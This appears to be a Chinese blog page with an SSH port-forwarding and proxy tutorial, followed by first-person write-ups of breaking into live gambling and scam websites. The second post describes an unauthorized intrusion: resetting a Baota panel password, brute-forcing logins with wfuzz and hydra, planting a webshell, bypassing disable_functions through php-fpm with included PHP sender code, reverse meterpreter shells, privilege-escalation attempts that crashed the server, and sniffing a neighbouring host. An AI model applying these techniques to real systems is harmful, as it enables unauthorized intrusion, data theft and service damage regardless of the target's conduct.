阅读视图

发现新文章,点击刷新页面。
☑️ ⭐

SSH协议中隧道与代理的用法详解

SSH 协议是 Linux 系统中使用较为频繁的协议之一,通常用于远程管理主机或服务器,默认使用 22 端口,可类比 Windows 系统中的 telnet(23 端口),这里要介绍的是 ssh 除了远程连接外的另一强大特性,即隧道加密与多种场景下代理功能的实现。

前置条件

为了理解更轻松,最大程度上简化网络拓扑,后续都只用两台机器做测试,IP 与主机名对应关系如下;更复杂的网络结构和多接口场景可举一反三延申,要用作某些特殊用途,则自行YY

192.168.111.128  -->  Kali
192.168.111.131  -->  Centos

在验证 IP 地址和多级代理的场景时,会额外用到网关机器:192.168.111.1

然后再多了解一下三个 ssh 的命令行参数,后面会用到:

-N    建立连接后不远程执行命令,也没有交互shell,通常用于端口转发的场景。
-f    建立连接后会在后台运行进程,不占用前台窗口。
-c    传输数据时对数据进行压缩,压缩算法和 gzip 的一样,但不适用于高速网络环境,会降低连接速度。
-v    打印更详细的连接过程信息。

本地转发(-L)

原理

本地转发即使用 ssh -L 参数,先看一下官方解释(man ssh):

     -L [bind_address:]port:host:hostport
     -L [bind_address:]port:remote_socket
     -L local_socket:host:hostport
     -L local_socket:remote_socket
             Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be
             forwarded to the given host and port, or Unix socket, on the remote side.  This works by allocating a
             socket to listen to either a TCP port on the local side, optionally bound to the specified bind_address,
             or to a Unix socket.  Whenever a connection is made to the local port or socket, the connection is for‐
             warded over the secure channel, and a connection is made to either host port hostport, or the Unix
             socket remote_socket, from the remote machine.

             Port forwardings can also be specified in the configuration file.  Only the superuser can forward privi‐
             leged ports.  IPv6 addresses can be specified by enclosing the address in square brackets.

             By default, the local port is bound in accordance with the GatewayPorts setting.  However, an explicit
             bind_address may be used to bind the connection to a specific address.  The bind_address of “localhost”
             indicates that the listening port be bound for local use only, while an empty address or ‘*’ indicates
             that the port should be available from all interfaces.

翻译成人话,通俗讲就是,使用该参数执行 ssh 连接后,会在本机开启一个指定监听端口1,然后绑定到远程机器的指定接口(IP)的指定端口2,用另一个程序再访问本机的指定端口1,流量就会转发到远程机器的指定端口2,相当于直接访问远程机器的端口2;可以简单的理解为 “流量从本地转发到远程机器”。

参数值([bind_address:]port:host:hostport)也有规律,从左到右写是本地到远程的顺序:本地地址(bind_address])的端口(port)转发到远程地址(host)的端口(hostport),本地接口地址可省略,默认为 127.0.0.1。除了接口和端口也可以使用 Unix socket 建立连接,把对应的位置换成 socket 地址即可。

实验

上面的转发流程有点绕,用实验来理解下实际效果,假设场景为 Kali192.168.111.128)去连接 Centos192.168.111.131);那么首先确保 Centos 开启 22 端口,然后用 python 给它在 8000 端口开启一个简单的 http 服务: centos-http-server

试着先本地访问下(Centos 具有第二个接口:192.168.122.1): centos-http-curl

ok 没问题,接着去另一台机器 Kali192.168.111.128) 上先测试连一下 Centos 的 ssh: kali-ssh-centos

证明连接是通的,接下来直接在 Kali 上使用本地转发连接 Centos(为了方便已提前给两台机器配置了 ssh 公钥连接,避免输入密码),执行参数为:

ssh -NL 1080:192.168.122.1:8000 root@192.168.111.131

然后执行后会在 Kali 本地监听 1080,再用 curl 访问一下这个端口,返回数据就是 Centos192.168.122.1 接口上的 8000 端口所对应的内容: kali-local-curl-1080

Centos 这边也记录到了相应的连接日志,本地转发成功centos-http-log

远程转发(-R)

原理

远程转发的执行参数是 ssh -R,官方的解释是:

     -R [bind_address:]port:host:hostport
     -R [bind_address:]port:local_socket
     -R remote_socket:host:hostport
     -R remote_socket:local_socket
     -R [bind_address:]port
             Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be
             forwarded to the local side.

             This works by allocating a socket to listen to either a TCP port or to a Unix socket on the remote side.
             Whenever a connection is made to this port or Unix socket, the connection is forwarded over the secure
             channel, and a connection is made from the local machine to either an explicit destination specified by
             host port hostport, or local_socket, or, if no explicit destination was specified, ssh will act as a
             SOCKS 4/5 proxy and forward connections to the destinations requested by the remote SOCKS client.

             Port forwardings can also be specified in the configuration file.  Privileged ports can be forwarded
             only when logging in as root on the remote machine.  IPv6 addresses can be specified by enclosing the
             address in square brackets.

             By default, TCP listening sockets on the server will be bound to the loopback interface only.  This may
             be overridden by specifying a bind_address.  An empty bind_address, or the address ‘*’, indicates that
             the remote socket should listen on all interfaces.  Specifying a remote bind_address will only succeed
             if the server's GatewayPorts option is enabled (see sshd_config(5)).

             If the port argument is ‘0’, the listen port will be dynamically allocated on the server and reported to
             the client at run time.  When used together with -O forward, the allocated port will be printed to the
             standard output.

通俗讲就是,执行远程转发命令后,会在远程机器开启监听一个指定端口1,绑定到本地的指定端口2,所有访问远程机器端口1 的流量都会被转发到本地的端口2 上,相当于直接访问本地的端口2,也可以简单的理解为 “流量从远程转发到本地机器”;

可以注意到这里的转发流向其实是和上面的本地转发是反的,所以参数值([bind_address:]port:host:hostport)的规律也反了过来,从左到右写是:远程机器的接口([bind_address])上的端口(port)转发到本地接口(host)的端口(hostport)上去。远程接口地址(IP)可以省略,默认 127.0.0.1socket 连接同理。

这里有个值得注意的地方,可以看到参数值那块,相比于前面的本地转发多了个 [bind_address:]port 值,也就是说同时省略了本地接口地址和端口值,远程接口也可按需省略,相当于可以只写一个远程端口值,这样其实会建立一个反向的 socks5 代理,即远程机器的那个端口可以被当成一个 socks4socks5 代理端口,代理流量都会被引导至本地机器,这个后面也有对应实验验证。

实验

下面同样使用 Kali192.168.111.128)通过远程转发去连接 Centos192.168.111.131),不过这次是在 Kali 上用 python 启一个简单的 http 服务: kali-http-and-curl

本地连接没问题,接下来在 Kali 上开启远程转发,参数为:

ssh -NR 1080:127.0.0.1:8000 root@192.168.111.131

kali-http-and-remote

这会在远程机器(Centos, 192.168.111.131)上开启一个新的监听端口 1080,再使用 curl 对其访问,就会得到 Kali192.168.111.128)上端口 8000 的返回内容: centos-remote-1080

Kali 这边也有了相应的访问记录,至此远程转发成功kali-http-8000-log

反向 socks 代理

然后测试 -R 参数值只指定一个远程端口的效果,前面讲这会让本地机器成为一台 socks 代理服务器,下面为了测试代理效果,就需要网关机器(192.168.111.1)上场了,在网关上启一个简单的 php 服务,以获取访问者的真实 IP 地址,代码如下:

<?php

echo $_SERVER['REMOTE_ADDR'] . PHP_EOL;

访问路径是:http://192.168.111.1/get-ip.php,先分别用 KaliCentos 访问试下: kali-get-ip

centos-get-ip

ok,IP 是对的,然后在 Kali192.168.111.128)上启动反向 socks 代理服务:

ssh -NR 1080 root@192.168.111.131

kali-rev-socks

Centos192.168.111.131)上访问一下看看代理(使用 curl-x 参数指定代理服务器)效果: centos-socks-curl

至此反向 socks 代理成功

远程接口地址问题

在实际使用远程转发的时候,可能会遇到一个小坑,就是 -R 的参数值虽然可以任意指定远程机器的接口地址,但实际上 ssh 默认都只会在 127.0.0.1 接口地址上开监听端口,也就是说假如这台远程机器是台公网服务器的话,新监听的端口是没法在公网上访问到的,只能这台机器本地访问,这是一个 sshd默认配置导致的,它一般在 /etc/ssh/sshd_config 文件中,GatewayPorts 这个配置项,默认是 no,改成 yes 即可,如果没有这一行就手动添加: centos-sshd-gatewayports

然后重启 sshd 服务,再用远程转发连接时就会在所有接口(即 0.0.0.0)上监听新端口了,但这样也只能在所有接口上开启端口了,无论连接方如何设置远程接口,所以需斟酌使用。 centos-gatewayports-yes

动态转发(-D)

原理

动态转发的执行参数是 ssh -D,官方解释是:

     -D [bind_address:]port
             Specifies a local “dynamic” application-level port forwarding.  This works by allocating a socket to
             listen to port on the local side, optionally bound to the specified bind_address.  Whenever a connection
             is made to this port, the connection is forwarded over the secure channel, and the application protocol
             is then used to determine where to connect to from the remote machine.  Currently the SOCKS4 and SOCKS5
             protocols are supported, and ssh will act as a SOCKS server.  Only root can forward privileged ports.
             Dynamic port forwardings can also be specified in the configuration file.

             IPv6 addresses can be specified by enclosing the address in square brackets.  Only the superuser can
             forward privileged ports.  By default, the local port is bound in accordance with the GatewayPorts set‐
             ting.  However, an explicit bind_address may be used to bind the connection to a specific address.  The
             bind_address of “localhost” indicates that the listening port be bound for local use only, while an
             empty address or ‘*’ indicates that the port should be available from all interfaces.

这应该是实际使用中较多的一种用途,即 socks 代理,动态转发是在本地监听一个指定端口,应用程序将 socks 代理端口设置为这个端口后,任何连接流量都会通过这个端口,经由 ssh 隧道转发到远程机器代为发送,由于不再受限于连接端和被连接端的端口与接口,所以称为动态

参数值([bind_address:]port)为要在本地机器监听的接口地址与端口,不写接口地址则默认为 127.0.0.1,在所有接口监听则写 0.0.0.0

实验

还是在 Kali192.168.111.128)上执行操作,监听本地 1080 端口,将 Centos192.168.111.131)作为 socks 代理服务器:

ssh -ND 1080 root@192.168.111.131

kali-dynamic-socks

尝试用 curl 测试代理效果,可以看到 socks5 代理已生效,IP 地址为 Centos192.168.111.131)的: kali-dynamic-get-ip

Kali 访问 Centos 的其他接口(192.168.122.1)的 http 服务(8000 端口)也没问题: kali-socks-centos-python centos-dynamic-socks-http-log

多级代理(-J)

原理

实现多级代理需要用到 ssh -J 参数,即设置 Jump host,可理解为跳板,官方解释为:

     -J destination
             Connect to the target host by first making a ssh connection to the jump host described by destination
             and then establishing a TCP forwarding to the ultimate destination from there.  Multiple jump hops may
             be specified separated by comma characters.  This is a shortcut to specify a ProxyJump configuration di‐
             rective.  Note that configuration directives supplied on the command-line generally apply to the desti‐
             nation host and not any specified jump hosts.  Use ~/.ssh/config to specify configuration for jump
             hosts.

大意就是连接 ssh 的过程中,可以指定(多个)跳板机,实现流量的一级一级转发,每一级跳板的系统都只有上一级的访问记录,达到一定的隐匿作用。参数值 destination 的语法与普通 ssh 连接对象的语法一致,指定多个跳板则将多个节点值以逗号分隔。

实验

为了呈现多级节点的效果,这里需再次用到网关机器(192.168.111.1),用其通过 ssh 连接 Centos192.168.111.131),并以 Kali192.168.111.128)作为跳板机,直接在网关上执行:

ssh root@192.168.111.131 -J root@192.168.111.128

可以看到最终连接到的 Centos 机器的访问记录是跳板机 Kali 的 IP 地址: gateway-jump-centos

再测试一下指定多个跳板:

ssh root@192.168.111.131 -J root@192.168.111.128,root@192.168.111.131

gateway-multi-jump

这里为了简化网络拓扑,所以把 Centos 自身也设置为一个跳板,那么经过的两个跳转节点就是 .128.131,整个流量流转过程可以简化为:

*.111.1  -->  *.111.128  -->  *.111.131  -->  *.111.131

-J 参数与前面提到的几种转发与代理参数结合,就实现了多级代理功能。

☑️ ⭐

后记:菠菜站点的攻克之旅

故事发生在上次事件(https://knightyun.github.io/2021/09/04/exploit-take-down-swindle-website)之后,算是作为一个收尾,但也算是另一个开始 (⌐■_■),顺便记录下相关操作;

前情提要

上回故事说到,骗子服务器的最高权限虽然已经拿到,但这也只是技术层面的掌控,想要立案,需要提供尽量多的人员相关信息,如手机、银行卡等,但这些目前都并未采集到(前面虽然提到了某次源码有个银行账户,但后面发现那只是个测试号,百度出来一堆在用的…),所以还需要通过一些额外的手段去获取有用的信息;

信息收集

宝塔后台

首先想到的就是之前一直留着没进去的宝塔面板后台,里面应该会有些登录信息之类,但并没有得到登录密码,但这也并没有太大影响,因为现在可以直接访问宝塔的数据库文件(panel/data/default.dbsqlite数据库文件),所以直接进去备份个账户然后设置个密码,防止把正常账户挤下去:

cmd-change-baota-password

cmd-baota-backup-user

清理下日志,然后就是愉快的登录进去 ㄟ( ▔, ▔ )ㄏ:

front-baota-home

首先看到的就是账户名,想是管理员的手机号,这里看不全,去设置里面瞅瞅:

front-baota-lookup-phone-elements

这里也是中间四位打了星号,从源码里也看不出,但这些也都是纸老虎,因为随后审查发现一处接口请求数据,返回信息里是完整的手机号,微信搜了下也有这个这么个账户:

wechat-baota-phone

但其真实性未知,多半只是个幌子,先记着吧;

新起点

在之后某个时间点准备继续收集信息的时候,发现其域名甚至IP都无法再访问了,后面几天试了也都不行,感觉可能是收割完一波然受卷款跑路了;自然,除了一些信息,之前获取的所有权限,都化作泡影了;也是在这之后,警察蜀黍竟主动联系了过来(没有喝茶,俺是良民 $_$),由于想着再碰碰运气看看,结果有趣的事再次发生了,访问之前那个IP展示出了这么个页面:

front-user-login

好吧得承认,那一瞬间确实差点信了这标题和图标,还浪费了三秒考虑渗透它的正当性,仔细想想也知道,真要是那家银行,怎么会把服务器放到有前科的IP身上,页面内容也说不过去,然后简单注册了个账号登录进去:

front-user-home-1

front-user-home-2

front-user-home-3

漏洞挖掘

端口服务

=_= 好吧,来都来了,就是个顺手的事;下面的分析也印证了上面的猜想,这也算是个IP反查域名 的小技巧,因为正常的工具比如 nslookup, dig 只能从域名到IP进行解析(某些有 ptr 的除外),但是遇到这种有使用 https 的站点,如果没有限制IP直接访问的话,能够正常进入页面,并且在浏览器左上角点击协议名还能查看所使用的证书,正常的证书的“颁发给”的值就是站点的域名,这里显然不是,应该是个临时或者测试证书:

front-https-cert

然后反过来对域名分析一波:

cmd-nslookup-domain

这里发现通过公共DNS解析出来的IP,和前面用的好像对不上号,细想下,应该就是使用了 CDN服务,这些IP对应的服务器都是提供服务的三方机构的,渗透没太大意义,并且也不容易,这里辛亏是直接通过源站IP进入的,不然要通过域名和CDN检索出源站还是另一项头疼的活儿;

那么有了域名就来扫一波子域名,获取潜在的关联站:

cmd-enum-subdomain

还真有不少,先记着备用,随后从前台页面的返回数据里分析,发现这是一台使用 php 的 Linux 服务器,和之前的 Windows IIS 服务器不同,看来应该是域名被释放或转卖了,那么就从新扫波端口吧:

nmap-normal-scan

还是发现了一些熟悉的身影,依旧先后台跑着密码先吧,按以往的经验,遇到精明的主也许有漏网之鱼,所以还需要贴心的整套全端口扫描服务:

nmap-all-port-scan

还确实有,看协议大概能猜到是什么服务,挨个试试,发现一个是 ssh 登录,一个宝塔后台:

cmd-ssh-login

front-bt-login

宝塔依然有登录次数校验,爆破无望,只能先搁一边;

后台目录

这次都还没来得及用上目录爆破,手打了几个就盲猜了出来后台路径,倒也省工夫勒:

front-admin-login-jump

front-admin-login

双赢?不存在的,只会是单方面的 ╮(╯_╰)╭,简单分析了会儿页面,这里就暂时不用祭出神器了,直接用 wfuzz 跑一波账户密码:

cmd-wfuzz-admin-login

先放后台跑着,去其他地方转转;一会儿后就看到了结果,哟西!进去瞅瞅:

front-admin-home

front-admin-products

front-admin-user-bank

front-admin-user-info

front-admin-user-charge

麻雀虽小五脏俱全,然后也有一些预料中的有意思的东西:

front-admin-user-withdraw

front-admin-risk-control

提现那个就不说了,能否成功全看管理员心情,下面那个看不太明白也没关系,可能道理大家也都懂,反正就那么个意思,你的命运我掌控,你的风险我操纵 (¬‿¬);

Get webshell

后面花了点时间,分析了下页面找到一处可利用的漏洞,然后传个小玩意上去:

front-backdoor-phpinfo

搞定,又到了亮剑的时刻:

ant-file-site-root

往上遍历目录发现确实不简单,出现了之前的某些域名,难道是小站群,后面花了好一段时间才稍微搞懂他们的架构,多个二级域名指向当前IP,并拥有几个不同的CDN地址,然后某个二级域名又指向另一台服务器IP,当前IP的服务器呢又包含了另一个一级域名对应的二级域名,这几个站点又几乎在共享同一套代码,=_= 真够复杂的,难道是业务拓展导致的计划不周么,不过着也不重要,对应到服务器就行;

ant-file-more-sites

然后就是访问 /etc/passwd 文件查看用户,因为这个文件在 Linux 中是所有用户可访问:

ant-file-passwd

都是些默认账户,由于当前是 www 账户,所以是没有访问 /etc/shadow 文件的权限的,这个文件记录的是系统所有账户的密码的 hash 值,所以后面步骤就是提权了;

在浏览系统目录的时候,发现了 phpMyAdmin 的登录地址,难怪之前没扫出,应该是宝塔里配置过,生成随机的复杂路径来校验访问入口:

ant-file-pma-path

front-pma-login

账户和密码就简单了,可通过某些手段获取,只是可惜对方并不是配置的 root 账户,而是一个子账户,用站点命名,应该是服务器有多站点的缘故,权限也不高,先登录进去看下:

front-pma-home

内部包含的是站点前后台的一些数据,先找下有用的信息:

front-pma-databases

front-pma-admin-pass-hash

有个表存的管理员的信息,额这个表名(bulamao)……难道又要开始考验我对博大的中国文化熟悉程度了吗,我认输了,有知道的小伙伴可以评论下;表里面有串密码的哈希值,先拿去查一下碰碰运气:

front-pma-admin-pass-text

居然还真有,小本本记下(后面确实为进入其他站点提供了依据);

小插曲

浏览目录的时候也发现了一些精致的小玩意:

ant-file-backdoors

ant-code-backdoor-abcd-passwd

front-backdoor-abcd-login

front-backdoor-abcd-home

front-backdoor-adminer

front-backdoor-file-manage

地方不大,还挺热闹,对面都是大佬惹不起,似乎还有好几拨人,让它们安静的躺着,相爱相杀吧,俺啥都没看见 (x_x);

disable_functions 绕过

本来是准备打开虚拟终端愉快的研究如何提权的,结果开幕雷击:

ant-shell-error

不用说,多半一些系统执行函数被禁用了,就是 php 配置项中的 disable_functions 值,用于限制能在 php 脚本中执行系统命令的一些函数,当然也存在一些漏洞导致的绕过方法,途径不少,节约时间,就不挨个手工测试了,直接用现有的集成插件:

ant-plugin-disable-functions-menu

ant-plugin-disable-fun-1

看到 putenv 被禁用心就凉了半截,光这就能劝退大部分绕过方式了,不过还是得试试,因为还剩一个方法可用(php-fpm),通过查看系统配置文件发现,fpm 模块使用的 socket 通信方式,配置一下然后启动:

ant-plugin-disable-fun-2

ant-plugin-disable-fun-3

ant-plugin-disable-fun-start

最后提示都是成功,检查其生成的动态链接库文件也是成功上传的,但终端始终无法开启,一直提示返回数据为空,起始以为是插件用的某个函数也被 php 给禁用了导致返回为空,也找到不其他可利用的漏洞,为此还卡了大半周的时间,后来准备查查资料,手动把利用方法实现一遍;

其实该方法的原理大致就是:php 是一门动态语言,但 nginx 是无法处理这些的,所以中间还有个 fastcgi 协议在牵线搭桥,可类比 HTTP 协议,nginx 将接受到的客户端请求转换成 fastcgi 协议格式的数据,而 php 模块中的 php-fpm 就是用来处理这些 fastcgi 协议数据的,然后再传给 php 解释器去处理,完成后结果数据又以之前同样的路径返回到浏览器客户端;所以一般在 Linux 服务器上启动 php 程序,都会启动一个叫 php-fpm 的服务,一般会监听本机的 9000 端口,或者套接字文件,nginx 的配置文件 fastcgi 访问地址也配成这个端口或文件,这些都是为了完成上述通信过程;

这里面可利用的点就是,绕过通往 nginx 的请求,直接与 php-fpm 服务沟通,理想情况就是由于配置失误导致 9000 监听在了外网接口而不是本机接口,当然这种情况也是极少数,但这也并不意味着监听本机就无法利用了,在 php 程序文件可写的前提下,可以在程序中通过 curl 接口向服务器本机 9000 端口发起请求(或 stream_socket_client 发起套接字文件通信请求),并且是模仿 fastcgi 客户端发送对应格式的数据,这样就能实现绕过 nginx 直接与 php-fpm 沟通;这种操作还有另一种说法,叫 SSRFServer-Side Request Forgery),即服务端请求伪造,通过服务器去实现访问客户端正常不能访问到的内网资源;当然还有一个和他名字很像的手段: CSRFCross-Site Request Forgery,跨站请求伪造),只不过这个是盗用其他客户端的登录凭证;

可能这里还有个问题,这样绕了一圈去建立通信,最后不是还是会通过 php-fpm 吗,这样配置的函数限制依然存在,其实不然,直接和 php-fpm 沟通的话,它是支持修改 php 配置的,就是 fastcgi 协议中的 PHP_VALUE, PHP_ADMIN_VALUE 这两个参数,比如可以设置这两个配置:

"PHP_VALUE": "auto_prepend_file = php://input"
"PHP_ADMIN_VALUE": "allow_url_include = On"

这会导致执行 php 程序之前包含 HTTPPOST 的数据,实现任意代码执行的目的,但即使这样也还是不行,因为这里的任意代码执行依然逃不开 php 配置文件的控制,所以就还需要更进一层,可以利用 extension 这个环境变量,设置执行脚本是要引入的动态链接库文件(Linux 下是 .so,Windows 下是 .dll):

"PHP_VALUE": "extension = /xxx/xxx.so"

这就需要有任意文件上传权限,不过都开始研究限制绕过了,这点权限是肯定有的,然后就是编译构造自己的 .so 文件,并向其中添加要执行的系统命令,这样链接库文件在被引入的时候就会执行预定的命令,同时也不受 php 配置文件的限制;这个sao操作也是在研究那个插件代码时发现的 (¬‿¬),同时也通过抓包找到了之前一直返回空数据的原因:

fiddler-ant-fpm-request

原来插件一直在站点根目录读取配置的后门程序,之前为了掩人耳目是塞到了一个隐蔽的深层目录,所以一直获取不到数据返回空,也算是自己的配置失误,就是这里需要配置为后门程序所在目录:

ant-plugin-disable-fun-4

远程指令执行

目前虽然可以通过插件绕过 disable_functions 并正常使用虚拟终端,但后续并不打算这么做,插件的机理其实就是通过包含 .so 时执行里面插入的指令,查看生成的 .so 文件可以看到插入了这样一条命令:

cmd-hexedit-ant-so

其实就是利用远程指令执行运行了另一个 php 服务,自定义了端口,并且 -n 参数是不使用 php 配置文件的意思,这样就实现了绕过 disable_functions,方便让其他程序畅通无阻的运行虚拟终端,手段确实有趣,不过这里就大可不必了,都能执行命令了还要虚拟终端干啥,另外经过测试也发现这样连接有一定时效性,大概一分钟左右就会断开连接,原因未知,所以为了后续更愉快的玩耍,直接上 msf payload,生成 elf-so 格式的文件后上传站点,然后把自定义的 fastcgi 客户端(https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)参数改下,让包含的 .so 文件为我们的 payload 文件以使其运行:

cmd-edit-fpm-py

运行后就会得到构造后的 fastcgi 协议数据(TCP数据流),让服务器 php 发送它就好,所以还需要服务端写个 php 程序来配合发送,这是使用使用套接字文件通信时的文件内容:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);

$fp = stream_socket_client("unix:///tmp/php-cgi-56.sock", $errno, $errstr, 30);
$url = $_GET['url'];

if (!$fp) {
    echo "Errno: " . "$errstr ($errno)<br />\n";
} else {
    try {
        fwrite($fp, base64_decode($url));
        var_dump(fread($fp, 8192));
    } catch (Exception $e) {
        print_r($e);
    }
    fclose($fp);
}

如果是监听本地 9000 端口,可以使用 fsockopen 协议来发送 fastcgi 协议数据,具体就是:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);

$fp = fsockopen("127.0.0.1", 9000, $errno, $errstr, 30);
$url = $_GET['url'];

if (!$fp) {
    echo "Error: $errstr ($errno)<br />\n";
} else {
	try {
	    fwrite($fp, base64_decode($_GET['url']));
		var_dump(fread($fp, 8192));
	} catch (Exception $e) {
		print_r($e);
	}
    fclose($fp);
}

然后打开 msfconsole 开启反向连接监听:

msf-listen-reverse-tcp

然后本地用浏览器访问一下服务器中的发送 fastcgi 的 php 程序,并凭借上要发送的数据:

front-msf-reverse-link

正常情况页面会持续加载中,然后 msf 这边就会收到连接请求并进入 meterpreter shell,然后看一下系统信息,nice,直接进入 shell 进行下一步操作:

msf-meter-sysinfo

因为之前说这里的 php 建立的连接只有不到一分钟时间,.so 文件执行的指令也不例外,所以这里就到了争分夺秒考验手速的时刻了,先断开连接待会重来,然后这次需要准备第二个 payload 传到同目录下,为了节省时间可以在第一次连接前以后台任务运行(run -jmeterpreter 反向监听,这样就不会浪费时间再去切换 module 和设置 payload 再运行了:

msf-run-meter-job

在网页请求后建立第一个 payload 连接,然后迅速进入 shell 执行一个 nohup 后台任务来运行刚才上传的第二个 payload

msf-link-payload-2

不出意外第二个 payload 的监听任务就会建立连接,并且是持续的长连接,第一个连接关掉也无所谓,后面就能愉快地进行其他操作了 (ง •_•)ง

Linux 提权(Privilege Escalation)

前面虽然已花了不少时间,但还没到达最关键的一步,现在才是重头戏,并且也不会太轻松,毕竟这是 Linux 系统,不同于 windows,版本和补丁数量不是特别高的话,提权漏洞一抓一把(这方面也稍微印证了 Linux 系统较于 Windows 更安全),少归少,不至于没有,只能逐个尝试;

Sudo Baron Samedit(cve-2021-3156)

记得今年(2021)年初正好报了一个 Linux sudo 程序的提权漏洞,正好试下:

msf-shell-check-baron-samedit

感觉有戏,下个 exp 上传手动跑下试试:

msf-shell-exploit-baron-samedit

最后似乎不行,再用 msf exploit 试试:

msf-run-baron-samedit

等了十几分钟,最后依然失败,这条路应该是行不通了;

Local Exploit Suggester

这里使用一下这款本地提权建议工具,它会自动获取相关系统信息并提供一些可利用的漏洞建议:

msf-local-exploit-suggester

可以看到列举出了不少存在可能性的 exp,再去挨个尝试下,结果,也全部无效,心又凉了小半截;

Suid 提权

简单说 suid 是一种权限,它运行具有该权限的文件执行时,能以该文件所有者的权限执行,例如具有所有用户读写执行的文件权限是 rwxrwxrwx,那么它再具有 suid 权限就会是 rwsrwxrwx (第三位是 s),权限码就是 4777,这里可利用的地方就是,假如某个文件所有者是 root 账户,并且其他用户可执行,那么其他用户在执行时,就间接有了 root 权限;

例如利用 find 提权执行 whoami 就是:

find some-file -exec whoami

可以先查找一下全系统就有该权限特征的文件:

find / -user root -perm -4000 -type f 2>/dev/null

msf-shell-find-suid

虽然有不少但是没有找到可利用的,常见的可利用程序和利用参数大致有(执行高权限的文件或查看高权限文件内容):

find
cp
nmap
vim
vi
bash
more
less
nano
zip
tar
mv
man
chmod
ash
awk
python
perl
tcpdump
date
time
cpulimit

crontab 任务

利用定时任务(cron)漏洞也是一种思路,假如存在会被定时执行的脚本文件,并且该文件又可写,就可以让其到达时间后执行任意命令;不过检查了一遍,都没有找到可利用的文件;

ant-file-cron-jobs

宝塔 CSRF

在一度没辙的时候,把方向转向了之前备份下载的站点源码,分析的时候发现有个日志输出目录,看着输出日志信息都比较详细,就尝试着全局搜一下请求数据之类的,看有没有账户密码或 cookies 数据,结果就找到了几处宝塔相关的登录凭证:

code-runtime-log-bt-token

但这些凭证的时间都很靠前,应该都失效了,而且在用自己的宝塔服务测试时发现,出了会话 cookie 时效为 2 小时外,软件似乎也对 csrf 这类漏洞做了限制,比如某个账户在一台电脑登录后,直接拿到浏览器存储的 cookie 信息然后放到另一台电脑中去伪造访问,不仅伪造的机子无法登录,原登录的机子也会自动退出登录;不过在分析时发现了另外一处 cookie 信息,里面似乎包含了宝塔面板的一些信息:

code-bt-cookies

拿去解码分析下,发现有个隐藏四位的手机号,应该是面板的登录账户名,先留着也许后面有用:

front-urldecode-bt-info

mysql 提权

目前来看这条路希望不大,前面提到不同站点使用不同的 mysql 子账户,且分配的权限较低,连 dumpfile 这样的指令也执行不了,更不用说 UDF 这类提权操作了,也对 root 账户进行过密码爆破,都没有收获;想起之前不是拿到一个宝塔的手机号嘛,说不准会用手机作为账户密码,虽然隐藏四位,但无关紧要,总共才一万种可能,直接拿 crunch 生成一个字典然后拿去 hydra 跑一下 root 密码:

cmd-hydra-pma-phone

虽然跑完也没花多少时间,但结果证明一个也不是,猜想失败;

Dirty Cow

后续没更多思路时,查了会资料,准备再试下经典的 Dirty Cow 提权漏洞:

msf-priv-dirty-cow

然后尴尬的事就发生了,执行了一段时间 exp 后,服务器就突然报错断开了,然后 IP 就一直超时再也连不上了,这个 Kernel panic ,也就是 Linux 系统的致命错误,如果没记错的话无限近似于 Windows 系统中断或蓝屏(难道不经意间让 exp 升级为 DOS 了……),当然也可能是运气不好对方又关站跑路了,那么就先这样吧,指不定后面谁又接盘了 (T_T);

C段嗅探

鉴于这次攻克过于棘手,所以过程中曾对机器的所在网段进行过扫描,然后不小心拿下一台业务类似的,和这次的目标在同一网关管辖下,所以先后台嗅探着数据吧,后面有时间再看看收获;

msf-shell-c-sniff

总结

惯例的总结时间,这个就没说啥的了,如果是诈骗是被动诱捕,那么这个就是主动投敌了,不要过分相信别人私下写的代码再呈现给你看的东西,即使它看起来是那样的真实,你所看到的只不过是对方想让你看到的罢了,对方既是规则的执行者也是制定者以及违背者。

☑️ ⭐

记一次拿下网络诈骗者站点的全过程与套路分析

这是一则漫长又跌宕起伏的故事,小伙伴们请随意就坐,自备茶点;全文包含信息收集与攻克的详细全过程,以及对该类型诈骗思路的分析拆解,以提高防范意识;

0x00 梦的开始

那是一个阳光明媚的晌午,日常的搬砖过程中收到一封公司邮件,

email-send

看到这熟悉的措辞,又瞄了一眼下面的附件内容,熟悉的气息扑面而来,就顺手保存了下来;

email-qrcode

随即管理员立马发现了不对劲,追发邮件说员工账号被盗用,不要轻信邮件内容,原始邮件也被标为垃圾邮件(上次的类似邮件删的太突然,事情还没开始就结束了,这次总跑不掉了( ̄_, ̄ ),作为当代好青年,五星好市民,是时候发扬一下活雷锋精神了);

而这张图片,就成了一切梦开始的地方……

0x01 信息收集

0x001 审查域名

起始信息非常有限,开局一张图,剧情全靠猜,不过这个入口也足够了,先拿出家伙解析下二维码中的信息:

email-qrcode-analyze-url

没有额外的数据,只有一串网页链接,看着这域名名称,嘴角微微上扬;先去解析一下域名:

cmd-nslookup

到写文为止已经不能解析该域名了,整顿的倒挺快,不过好在之前有解析备份,域名万变不离其 IP,并且也没有发现使用 CDN,流量全部通往源站;顺手查了一下,是香港的服务器:

front-query-ip

然后 whois 一下,搜集相关信息:

cmd-whois

不出意外,又是用的三方注册机构,没有额外的有用信息,不过这个注册时间挺有意思,本月的,骗子同志动作还蛮快的;接下来只能去对方网站瞅瞅;

front-west-whois

又是西部数码,看来有些备受青睐,网站提供隐私保护机制,注册信息不对外公开,暂时也获取不到有用信息;

0x002 审查 IP

现在唯一的线索就是之前解析的那个 IP 了,一步一步来,先 nmap 扫一波端口服务先,收集更多信息:

cmd-nmap-port-services

嗯还行,看见了几个熟悉的身影,继续走流程,分别跑下默认脚本分析下端口服务信息:

cmd-nmap-default-script

没有探测倒匿名 ftp,http 支持 TRACE,没有设 httponly,有执行 XSS 的机会,小本本先记下;然后老规矩,默认字典定向爆破一轮先,尝试还是要有的,万一那啥了呢:

cmd-nmap-ftp-brute

剩余端口也都试了,意料之中,没啥收获,看来基本的密码强度意识还是有的;另外之前的扫描扫描中有出现 8888 这个端口,记得这个是服务器管理工具宝塔面板的默认后台入口,访问一下试试:

front-baota-login-pre

有入口校验,起码证明确实是用的宝塔面板,不过这个爆破应该是不可能去爆破的,记得入口 url 后缀默认大概是 8 位任意大小写字母与数字的组合,就是 62 的 8 次方,大约两百万亿,就挺秃然的,先放在后面再说吧,接下来,继续转战其他方向;

0x003 审查页面

来都来了,既然扫码是跳转页面链接,并且端口也开放了 80 和 443,当然要打开网页访问一下康康,同时开启开发者工具,看看有啥小动作:

front-home-mobile

哎呀,还识别机型,这靶向用户还挺明确,那就切成移动端看看:
